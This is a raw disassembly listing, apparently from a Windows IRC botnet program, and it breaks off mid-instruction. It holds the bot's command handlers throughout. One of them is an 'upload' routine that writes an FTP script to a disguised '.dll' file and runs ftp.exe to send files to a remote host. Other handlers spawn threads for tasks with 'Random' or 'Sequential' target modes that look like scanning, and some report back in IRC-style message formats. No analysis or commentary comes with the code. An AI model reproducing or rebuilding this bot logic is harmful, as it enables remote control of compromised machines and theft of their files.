loc_4073C5 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_40724F: ; CODE XREF: sub_401AC7+51D7j ; sub_401AC7+55A7j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F6C push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 push 4 push esi call sub_416C63 pop ecx test eax, eax pop ecx jnz short loc_40729A push esi push offset unk_42ABAC loc_407286: ; CODE XREF: sub_401AC7+7985j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_403F81 ; --------------------------------------------------------------------------- loc_40729A: ; CODE XREF: sub_401AC7+57B7j call near ptr 26A06B3h nop push eax call sub_41C058 pop ecx call sub_41C062 push 9 cdq pop ecx idiv ecx push edx call sub_41C062 push 63h cdq pop ecx idiv ecx push edx call sub_41C062 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C006 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BC88 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F6C push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C56F push [ebp+arg_24] call sub_41B9DB lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi push esi jz short loc_407364 push offset unk_42AB3C jmp short loc_407369 ; --------------------------------------------------------------------------- loc_407364: ; CODE XREF: sub_401AC7+5894j push offset unk_42AB0C loc_407369: ; CODE XREF: sub_401AC7+589Bj call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407392 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_407392: ; CODE XREF: sub_401AC7+58ADj lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_40739E: ; CODE XREF: sub_401AC7+58FCj lea eax, [ebp+var_2E5C] push 4 push eax call sub_416C63 add esp, 0Ch test eax, eax jz loc_401F6C lea eax, [ebp+var_2E5C] push eax call sub_41C545 jmp short loc_40739E ; --------------------------------------------------------------------------- loc_4073C5: ; CODE XREF: sub_401AC7+5752j push edi call sub_41BEF9 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41BEF9 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073FE push 5 pop eax mov [ebp+var_36C], eax loc_4073FE: ; CODE XREF: sub_401AC7+592Cj push 3Ch pop ecx cmp eax, ecx jbe short loc_40740B mov [ebp+var_36C], ecx loc_40740B: ; CODE XREF: sub_401AC7+593Cj push [ebp+arg_10] call sub_41BEF9 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_40742B mov [ebp+var_368], 320h loc_40742B: ; CODE XREF: sub_401AC7+5958j or [ebp+var_354], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+arg_1C], ebx jz short loc_407481 mov [ebp+arg_24], offset dword_431808 loc_407444: ; CODE XREF: sub_401AC7+599Cj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_407467 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407444 jmp short loc_407481 ; --------------------------------------------------------------------------- loc_407467: ; CODE XREF: sub_401AC7+598Ej mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_370], ecx loc_407481: ; CODE XREF: sub_401AC7+5974j ; sub_401AC7+599Ej cmp [ebp+var_370], ebx jnz short loc_407493 push offset unk_42AAD8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_407493: ; CODE XREF: sub_401AC7+59C0j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_4074CE cmp byte ptr [edi], 23h jz short loc_4074CE push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C100 push 78h push edi call sub_41C720 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_4075A8 ; --------------------------------------------------------------------------- loc_4074CE: ; CODE XREF: sub_401AC7+59D5j ; sub_401AC7+59DAj cmp [ebp+var_8FF], bl jnz short loc_4074F0 cmp [ebp+var_8FE], bl jnz short loc_4074F0 cmp [ebp+var_8EE], bl jnz short loc_4074F0 push offset unk_42AAA4 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_4074F0: ; CODE XREF: sub_401AC7+5A0Dj ; sub_401AC7+5A15j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4C9390 push eax lea eax, [ebp+var_484] push eax call sub_41BD70 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_4075A2 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C5B0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407596 loc_407574: ; CODE XREF: sub_401AC7+5ACDj cmp eax, ebx jz short loc_407596 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407574 loc_407596: ; CODE XREF: sub_401AC7+5AABj ; sub_401AC7+5AAFj mov [ebp+var_344], 1 jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075A2: ; CODE XREF: sub_401AC7+5A85j mov [ebp+var_344], ebx loc_4075A8: ; CODE XREF: sub_401AC7+5A02j ; sub_401AC7+5AD9j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C100 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075F9 loc_4075E6: ; CODE XREF: sub_401AC7+5B55j push esi loc_4075E7: ; CODE XREF: sub_401AC7+5B3Fj lea eax, [ebp+var_3F4] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_407624 ; --------------------------------------------------------------------------- loc_4075F9: ; CODE XREF: sub_401AC7+5B1Dj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407608 cmp byte ptr [eax], 23h jnz short loc_407608 push eax jmp short loc_4075E7 ; --------------------------------------------------------------------------- loc_407608: ; CODE XREF: sub_401AC7+5B37j ; sub_401AC7+5B3Cj mov esi, offset aF ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4075E6 mov [ebp+var_3F4], bl loc_407624: ; CODE XREF: sub_401AC7+5B30j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_407636 mov eax, offset aSequential ; "Sequential" loc_407636: ; CODE XREF: sub_401AC7+5B68j push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA3C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C5E7 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4076C4 loc_4076AE: ; CODE XREF: sub_401AC7+5BFBj cmp [ebp+var_340], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_4076C4: ; CODE XREF: sub_401AC7+5BE5j nop call near ptr 26908A7h push eax push offset unk_42AA04 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4076D5: ; CODE XREF: sub_401AC7+4E8Dj ; sub_401AC7+4EA4j push edi call sub_40A8E4 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BD70 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset dword_40CA04 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4077CA loc_4077B4: ; CODE XREF: sub_401AC7+5D01j cmp [ebp+var_4D0], ebx jnz loc_403D2D push 32h nop call near ptr 2690000h jmp short loc_4077B4 ; --------------------------------------------------------------------------- loc_4077CA: ; CODE XREF: sub_401AC7+5CEBj call near ptr 26908A7h nop push eax push offset unk_42A978 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4077DB: ; CODE XREF: sub_401AC7+4E50j ; sub_401AC7+4E67j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A96C push eax call sub_41C006 add esp, 20h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" loc_4078C3: ; CODE XREF: sub_401AC7+5EF6j lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_404068 ; --------------------------------------------------------------------------- loc_4078ED: ; CODE XREF: sub_401AC7+4E22j ; sub_401AC7+4E39j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_4078C3 ; --------------------------------------------------------------------------- loc_4079C2: ; CODE XREF: sub_401AC7+4DF4j ; sub_401AC7+4E0Bj push edi call dword_4C9344 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BD70 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A914 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset byte_40C913 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407AA4 loc_407A8E: ; CODE XREF: sub_401AC7+5FDBj cmp [ebp+var_670], ebx jnz loc_403D2D push 32h call near ptr 2690000h nop jmp short loc_407A8E ; --------------------------------------------------------------------------- loc_407AA4: ; CODE XREF: sub_401AC7+5FC5j nop call near ptr 26908A7h push eax push offset unk_42AA04 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407AB5: ; CODE XREF: sub_401AC7+4DC6j ; sub_401AC7+4DDDj push edi call sub_41BEF9 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BD70 push [ebp+arg_0] call sub_41BEF9 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push 80h push eax mov [ebp+var_123C], esi call sub_41C100 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3AD add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410D69 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407B9E loc_407B88: ; CODE XREF: sub_401AC7+60D5j cmp [ebp+var_111C], ebx jnz loc_403D2D push 32h call near ptr 2690000h nop jmp short loc_407B88 ; --------------------------------------------------------------------------- loc_407B9E: ; CODE XREF: sub_401AC7+60BFj call near ptr 26908A7h nop push eax push offset unk_42A894 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407BAF: ; CODE XREF: sub_401AC7+4D98j ; sub_401AC7+4DAFj push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BD70 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BD70 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41BEF9 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407C08 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407C0E ; --------------------------------------------------------------------------- loc_407C08: ; CODE XREF: sub_401AC7+612Bj mov [ebp+var_266C], ebx loc_407C0E: ; CODE XREF: sub_401AC7+613Fj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407C25 push esi call sub_41BEF9 pop ecx mov [ebp+var_2670], eax jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C25: ; CODE XREF: sub_401AC7+614Dj mov [ebp+var_2670], ebx loc_407C2B: ; CODE XREF: sub_401AC7+615Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_2660], eax mov eax, [ebp+var_8] mov [ebp+var_2664], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A868 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3AD add esp, 28h mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_416754 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407CD9 loc_407CC3: ; CODE XREF: sub_401AC7+6210j cmp [ebp+var_265C], ebx jnz loc_4071DD push 32h nop call near ptr 2690000h jmp short loc_407CC3 ; --------------------------------------------------------------------------- loc_407CD9: ; CODE XREF: sub_401AC7+61FAj nop call near ptr 26908A7h push eax push offset unk_42A828 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407CEA: ; CODE XREF: sub_401AC7+4D6Aj ; sub_401AC7+4D81j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3290], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A7EC push eax mov [ebp+var_3498], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 12h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset word_4155D6 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407DC1 loc_407DAB: ; CODE XREF: sub_401AC7+62F8j cmp [ebp+var_3288], ebx jnz loc_4071DD push 32h call near ptr 2690000h nop jmp short loc_407DAB ; --------------------------------------------------------------------------- loc_407DC1: ; CODE XREF: sub_401AC7+62E2j nop call near ptr 26908A7h push eax push offset unk_42A7B4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407DD2: ; CODE XREF: sub_401AC7+4C3Dj ; sub_401AC7+4C54j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A784 push eax mov [ebp+var_3070], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 0Eh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414310 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407EA9 loc_407E93: ; CODE XREF: sub_401AC7+63E0j cmp [ebp+var_2E60], ebx jnz loc_4071DD push 32h call near ptr 2690000h nop jmp short loc_407E93 ; --------------------------------------------------------------------------- loc_407EA9: ; CODE XREF: sub_401AC7+63CAj call near ptr 26908A7h nop push eax push offset unk_42A74C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407EBA: ; CODE XREF: sub_401AC7+4B14j ; sub_401AC7+4B2Bj ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BD70 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A71C push eax mov [ebp+var_3CF0], esi call sub_41C006 add esp, 50h lea eax, [ebp+var_2C4] push ebx push 0Dh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_41359D push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407FA2 loc_407F8C: ; CODE XREF: sub_401AC7+64D9j cmp [ebp+var_3A60], ebx jnz loc_4071DD push 32h nop call near ptr 2690000h jmp short loc_407F8C ; --------------------------------------------------------------------------- loc_407FA2: ; CODE XREF: sub_401AC7+64C3j nop call near ptr 26908A7h push eax push offset unk_42A6E4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407FB3: ; CODE XREF: sub_401AC7+4AE6j ; sub_401AC7+4AFDj push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BD70 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FFE push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BD70 add esp, 0Ch loc_407FFE: ; CODE XREF: sub_401AC7+6523j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3AD add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017E7 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40808A loc_408074: ; CODE XREF: sub_401AC7+65C1j cmp [ebp+var_1620], ebx jnz loc_406C42 push 32h nop call near ptr 2690000h jmp short loc_408074 ; --------------------------------------------------------------------------- loc_40808A: ; CODE XREF: sub_401AC7+65ABj nop call near ptr 26908A7h push eax push offset dword_42A678 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40809B: ; CODE XREF: sub_401AC7+4AA6j ; sub_401AC7+4ABDj push [ebp+arg_18] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408188 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C100 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C100 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_1D60], eax mov eax, [ebp+var_8] mov [ebp+var_1D5C], eax push edi push offset unk_42A64C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3AD add esp, 38h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset dword_4139E4 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408177 loc_408165: ; CODE XREF: sub_401AC7+66AEj cmp [ebp+var_1D58], ebx jnz short loc_4081DE push 32h call near ptr 2690000h nop jmp short loc_408165 ; --------------------------------------------------------------------------- loc_408177: ; CODE XREF: sub_401AC7+669Cj nop call near ptr 26908A7h push eax push offset unk_42A614 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408188: ; CODE XREF: sub_401AC7+65E5j push offset unk_42A5DC jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408192: ; CODE XREF: sub_401AC7+4A78j ; sub_401AC7+4A8Fj push [ebp+arg_18] push edi nop call near ptr 26B0D27h test eax, eax jz short loc_4081BF push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B8 push 200h push eax call sub_41C100 add esp, 14h jmp short loc_4081DE ; --------------------------------------------------------------------------- loc_4081BF: ; CODE XREF: sub_401AC7+66D7j push offset dword_42A5AC call sub_41864A push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 10h loc_4081DE: ; CODE XREF: sub_401AC7+20C9j ; sub_401AC7+2E99j ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081FB: ; CODE XREF: sub_401AC7+5731j call sub_409862 add esp, 14h jmp loc_40830C ; --------------------------------------------------------------------------- loc_408208: ; CODE XREF: sub_401AC7+4A4Aj ; sub_401AC7+4A61j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C100 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408242 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_408242 push eax lea eax, [ebp+var_3E04] push eax call sub_41C006 pop ecx pop ecx loc_408242: ; CODE XREF: sub_401AC7+6759j ; sub_401AC7+676Aj push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A57C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset byte_416FFF push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4082F1 loc_4082DF: ; CODE XREF: sub_401AC7+6828j cmp [ebp+var_3CF4], ebx jnz short loc_40830C push 32h nop call near ptr 2690000h jmp short loc_4082DF ; --------------------------------------------------------------------------- loc_4082F1: ; CODE XREF: sub_401AC7+6816j nop call near ptr 26908A7h push eax push offset unk_42A540 loc_4082FD: ; CODE XREF: sub_401AC7+900j ; sub_401AC7+A3Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40830C: ; CODE XREF: sub_401AC7+7BCj ; sub_401AC7+927j ... push 1 pop esi jmp loc_406C66 ; --------------------------------------------------------------------------- loc_408314: ; CODE XREF: sub_401AC7+4A1Cj ; sub_401AC7+4A33j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BD10 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41BEF9 add esp, 10h cmp eax, esi jnz short loc_408351 mov [ebp+var_638], 5 loc_408351: ; CODE XREF: sub_401AC7+687Fj cmp [ebp+var_C], ebx jz loc_406C42 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C42 lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 26703D3h test eax, eax jnz short loc_40839C push offset unk_42A51C jmp loc_40851D ; --------------------------------------------------------------------------- loc_40839C: ; CODE XREF: sub_401AC7+68C9j push edi push offset dword_42A500 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_4083A7: ; CODE XREF: sub_401AC7+49EEj ; sub_401AC7+4A05j push [ebp+arg_18] push offset a1221 ; "1221" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408518 lea eax, [ebp+var_4BF8] push eax push 